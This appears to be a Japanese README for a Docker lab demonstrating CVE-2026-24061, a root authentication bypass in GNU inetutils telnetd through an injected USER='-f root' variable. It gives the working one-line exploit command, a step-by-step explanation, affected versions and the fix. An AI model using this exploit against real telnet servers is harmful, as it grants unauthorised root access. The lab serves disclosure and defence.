
これは、現在進行中で活発に悪用されているTelnetの脆弱性の深刻度を強調できるシンプルなPoCです。なぜ人々がまだTelnetを使っているのか…私には理解できません。
CVE-2026-24061 を実証するための Docker ラボ — GNU inetutils telnetd における重大な認証バイパス脆弱性で、11年間 パッチが適用されないままでした。
Telnetd は USER 環境変数をサニタイズせずに直接 /usr/bin/login に渡します。login バイナリには認証をスキップする -f フラグがあります(事前認証済みセッション用に設計されています)。USER='-f root' を設定することで、攻撃者は login を騙してパスワードなしで root アクセスを許可させることができます。
影響を受けるバージョン: GNU inetutils 1.9.3(2015年3月)から 2.7 CVSS スコア: 9.8(Critical) 修正: inetutils 2.8+ に更新
# イメージをビルド
docker build -t telnetd-exploit .
# コンテナを実行(user1 としてシェルに入ります)
docker run --rm -it telnetd-exploit
# エクスプロイト — パスワードなしで root を取得
USER='-f root' telnet -a localhost
root シェルに入ります。whoami を実行して確認してください。
1. クライアントが接続: USER='-f root' telnet -a localhost
2. telnetd が USER 環境変数を受信: "-f root"
3. telnetd が実行: /usr/bin/login -f root
4. login が -f を「認証をスキップ、ユーザーは事前検証済み」と解釈
5. 攻撃者は root シェルを取得 — パスワード不要
-f フラグは正当なものです — ユーザーがすでに認証されているシナリオ(信頼できるローカルセッションなど)向けに設計されています。問題は、telnetd が login に渡す前に USER 変数をサニタイズしないため、リモート攻撃者がフラグを注入できることです。
2026年1月時点:
このバグがなくても、Telnet はパスワードを含むすべてを平文で送信します。代わりに SSH を使用してください。
| Protocol | Encryption | Authentication |
|---|---|---|
| Telnet | None | Plaintext |
| SSH | Yes | Key/Password |
.
├── Dockerfile # 脆弱な Debian コンテナをビルド
├── docker-entrypoint.sh # inetd を起動し、user1 に降格
└── README.md
ラボは leonjza/inetutils-telnetd-auth-bypass に基づいています。